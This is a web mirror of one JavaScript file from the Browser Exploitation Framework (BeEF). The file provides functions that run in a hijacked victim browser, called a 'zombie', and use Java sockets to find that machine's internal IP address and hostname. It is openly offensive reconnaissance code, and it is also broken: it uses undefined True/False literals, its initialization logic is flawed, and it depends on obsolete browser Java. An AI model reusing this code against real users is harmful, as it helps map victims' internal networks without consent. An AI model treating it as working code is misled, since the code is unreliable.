Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/client/net/local.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/**
8
* Provides networking functions for the local/internal network of the zombie.
9
* @namespace beef.net.local
10
*/
11
beef.net.local = {
12
13
sock: false,
14
checkJava: false,
15
hasJava: false,
16
17
/**
18
* Initializes the java socket. We have to use this method because
19
* some browsers do not have java installed or it is not accessible.
20
* in which case creating a socket directly generates an error. So this code
21
* is invalid:
22
* sock: new java.net.Socket();
23
*/
24
initializeSocket: function() {
25
if(this.checkJava){
26
if(!beef.browser.hasJava()) {
27
this.checkJava=True;
28
this.hasJava=False;
29
return -1;
30
}else{
31
this.checkJava=True;
32
this.hasJava=True;
33
return 1;
34
}
35
}
36
else{
37
if(!this.hasJava) return -1;
38
else{
39
try {
40
this.sock = new java.net.Socket();
41
} catch(e) {
42
return -1;
43
}
44
return 1;
45
}
46
}
47
},
48
49
/**
50
* Returns the internal IP address of the zombie.
51
* @return {String} the internal ip of the zombie.
52
* @error return -1 if the internal ip cannot be retrieved.
53
*/
54
getLocalAddress: function() {
55
if(!this.hasJava) return false;
56
57
this.initializeSocket();
58
59
try {
60
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
61
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
62
63
return this.sock.getLocalAddress().getHostAddress();
64
} catch(e) { return false; }
65
},
66
67
/**
68
* Returns the internal hostname of the zombie.
69
* @return {String} the internal hostname of the zombie.
70
* @error return -1 if the hostname cannot be retrieved.
71
*/
72
getLocalHostname: function() {
73
if(!this.hasJava) return false;
74
75
this.initializeSocket();
76
77
try {
78
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
79
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
80
81
return this.sock.getLocalAddress().getHostName();
82
} catch(e) { return false; }
83
}
84
85
};
86
87
beef.regCmp('beef.net.local');
88
89